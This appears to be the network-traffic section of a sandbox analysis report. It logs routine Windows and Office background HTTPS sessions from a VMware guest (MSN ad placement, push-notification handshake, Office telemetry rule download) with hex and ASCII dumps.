2024-12-06 23:15:07 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231453Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=fd29a17ffc52440bb8339a4eb9e321bf&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617336&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATTZNlNgPPN0PtfT4J2m/LyAosr375w/SFz37HUR0rb913bxQMc8vau6JwbSuLiigJ7uC5gWAeIYR+mvWRCjwc1Vdp2uaDeoITDsR//drqPULUfafNkzdAnV6EYsukHFsZmtuhqEXDKQ4cFfGVtbb6lRbmj7Xptxieuhwy98qsntUYdHvhWn+8MNAKpPES6GE7K4nUQDPD2CH1s373bmXUpWu0jkxYquoMu2rmdSs8iBhBrlYfjicOviVZ4qxL2YAOVh5ESdzw9hlRvncIJyEYrLUvTurblpzZFqQHhFRwtjnRNtnGuxbF+DTbuaqjbWfhpeOTVNw6Q4tuyJokpJToEQZgAAEPQhl86sqLseffVk5stydOCwAakje1NyOjoLHSE/WDdjO2J/GbIZbnUFjtoz8sZ1AsRZoPnvkBF8X6tFM5PtjQnrEyJn4KLOBZR0pr2LAHQgSKxmnNP/Qn73VIZxSgYAl347W+QnBQZZ1HGcLPn4DyJ+h8bAcSE4IvfsvylrfC3QpVZjGMgUEgVHmm7nrb21eP23aXu2SObRxZ+DRz0ERBvrdlsdiSkFhS9uEuzPcN+4V9wmvIXq1lj60SG4MR2tRLRUq81h8Q9bflLnnX4+nXPCGxixV3+xEvHwch3AvpjI3bfnmlPV9+frEZDqsr2qLIoHEtB1mLocZdBzXyEIuMiGsGVGFpw4iWIQkKwxzL7+tnY2Ep41XoS1bHN4Tp2cJyEbpYUj4CFUBmVesOR6QATet8mi158hpE31Bv/PogsvdMVr0GjnLAdeOUaOC8p5WuYT/V++uzQGJ9bUainQzbnshJDodBMBHhkwH8bJz1ieXjpKpYLJSOoXu6LYBZEq/f0gUXQFYPXh8mdm+5i1tunX2Q7vELHyvvhXWZoWF51Lt7tQyLHujdUTZE0SywBa2yIhG2/auwGYDoT1PloOUlOQDNgB&p= Cache-Control: no-cache MS-CV: nLbZyZWwLEeM+5US.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:08 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3363 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: okLwhih7U85N6EsC+293pdlPHGHRwxPiLC48St7YFQGf3avXo5pXt0VsnJPWonBUbHwcpc0HhPq5BTZETQHLFsN3Q9DIimCGONWjmKl4AzEOYCduubY4dxFYWNhMF8I+1Evtf39yODc3XnlCyVupPcQZKeU6Wn/NGKQ+iW6W9aLm1v7kzM/FTYU954SGB7dFLLKkdYWLHviH0xSqJlqHI8Z2e+vQ9NNi7kMhkCZhUesDOWy2a8vHlYGjh4p2cLPbhG6fPCA7FDewvkdOXApepqruxi5IgmWt675GT8EQkH44y+JGqpYvV3RqiTT1iN9YjDvrHZVXqk4crkSWwVY2KQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:07 GMT Connection: close
2024-12-06 23:15:08 UTC	3363	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49711	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:07 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231453Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=05932d58c9d94d1baca6cdc1d1bf4f8c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617336&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATTZNlNgPPN0PtfT4J2m/LyAosr375w/SFz37HUR0rb913bxQMc8vau6JwbSuLiigJ7uC5gWAeIYR+mvWRCjwc1Vdp2uaDeoITDsR//drqPULUfafNkzdAnV6EYsukHFsZmtuhqEXDKQ4cFfGVtbb6lRbmj7Xptxieuhwy98qsntUYdHvhWn+8MNAKpPES6GE7K4nUQDPD2CH1s373bmXUpWu0jkxYquoMu2rmdSs8iBhBrlYfjicOviVZ4qxL2YAOVh5ESdzw9hlRvncIJyEYrLUvTurblpzZFqQHhFRwtjnRNtnGuxbF+DTbuaqjbWfhpeOTVNw6Q4tuyJokpJToEQZgAAEPQhl86sqLseffVk5stydOCwAakje1NyOjoLHSE/WDdjO2J/GbIZbnUFjtoz8sZ1AsRZoPnvkBF8X6tFM5PtjQnrEyJn4KLOBZR0pr2LAHQgSKxmnNP/Qn73VIZxSgYAl347W+QnBQZZ1HGcLPn4DyJ+h8bAcSE4IvfsvylrfC3QpVZjGMgUEgVHmm7nrb21eP23aXu2SObRxZ+DRz0ERBvrdlsdiSkFhS9uEuzPcN+4V9wmvIXq1lj60SG4MR2tRLRUq81h8Q9bflLnnX4+nXPCGxixV3+xEvHwch3AvpjI3bfnmlPV9+frEZDqsr2qLIoHEtB1mLocZdBzXyEIuMiGsGVGFpw4iWIQkKwxzL7+tnY2Ep41XoS1bHN4Tp2cJyEbpYUj4CFUBmVesOR6QATet8mi158hpE31Bv/PogsvdMVr0GjnLAdeOUaOC8p5WuYT/V++uzQGJ9bUainQzbnshJDodBMBHhkwH8bJz1ieXjpKpYLJSOoXu6LYBZEq/f0gUXQFYPXh8mdm+5i1tunX2Q7vELHyvvhXWZoWF51Lt7tQyLHujdUTZE0SywBa2yIhG2/auwGYDoT1PloOUlOQDNgB&p= Cache-Control: no-cache MS-CV: nLbZyZWwLEeM+5US.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:08 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1440 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: O3/wOWvh/f7+ym7Ppdc2RGOG+MdF8wazTJ2BDcSn/KKAQZyI6CYxTA9Ts9OecrA+YoJ38Se6+xdVCuIt1LhfmjsE0M78jB3vjwJ0wm94NhTcqzzA8T3J3sL8DQ3V9XUyPFITFUSiJb681IXuFtj7bxp/i091sBcPcBrqRTtzouMHQYzvFcQVMQheUITOvfJ7VBvxAM2XC82v6+QINK/8jfhSpcbaR+7dF6ZD0H8CXGUka5kdulMM+OoXIqDyAl2Nk3+GTboqmL3TzEaDnWdnOAYvY8XqBoeON24g0Rw1ZbS5UdTFf9SBqRcL2qToAuaJCf4bOCrNDmIsv/bDSrPYkw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:07 GMT Connection: close
2024-12-06 23:15:08 UTC	1440	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 58 33 46 53 4c 6e 31 71 55 43 58 34 67 77 44 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 63 38 36 64 30 62 33 31 39 64 63 35 30 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AX3FSLn1qUCX4gwD.1Context: d8c86d0b319dc50f
2024-12-06 23:15:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-06 23:15:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 41 58 33 46 53 4c 6e 31 71 55 43 58 34 67 77 44 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 63 38 36 64 30 62 33 31 39 64 63 35 30 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 78 38 69 49 35 52 51 33 6f 49 55 69 32 62 45 50 66 44 72 56 75 4b 43 7a 67 45 4b 74 54 74 5a 6f 52 70 34 62 6c 38 30 49 69 36 31 74 69 62 78 6c 51 6f 53 6d 53 43 51 66 52 61 6b 65 2f 6d 74 4c 62 62 43 4c 41 68 34 72 58 6f 62 6a 54 38 76 49 4e 68 57 53 78 62 38 30 45 6f 38 7a 49 63 45 62 75 63 79 56 2f 41 35 68 55 65 78 74 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: AX3FSLn1qUCX4gwD.2Context: d8c86d0b319dc50f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWx8iI5RQ3oIUi2bEPfDrVuKCzgEKtTtZoRp4bl80Ii61tibxlQoSmSCQfRake/mtLbbCLAh4rXobjT8vINhWSxb80Eo8zIcEbucyV/A5hUext
2024-12-06 23:15:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 58 33 46 53 4c 6e 31 71 55 43 58 34 67 77 44 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 63 38 36 64 30 62 33 31 39 64 63 35 30 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AX3FSLn1qUCX4gwD.3Context: d8c86d0b319dc50f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-06 23:15:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-06 23:15:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 72 2f 59 52 76 6f 77 4d 30 79 57 45 4c 49 2b 65 54 6e 39 52 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Dr/YRvowM0yWELI+eTn9RQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:14 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: 1f1786e0-601e-0050-7103-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231514Z-r1cf579d7788pwqzhC1EWRrpd8000000012g0000000001v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
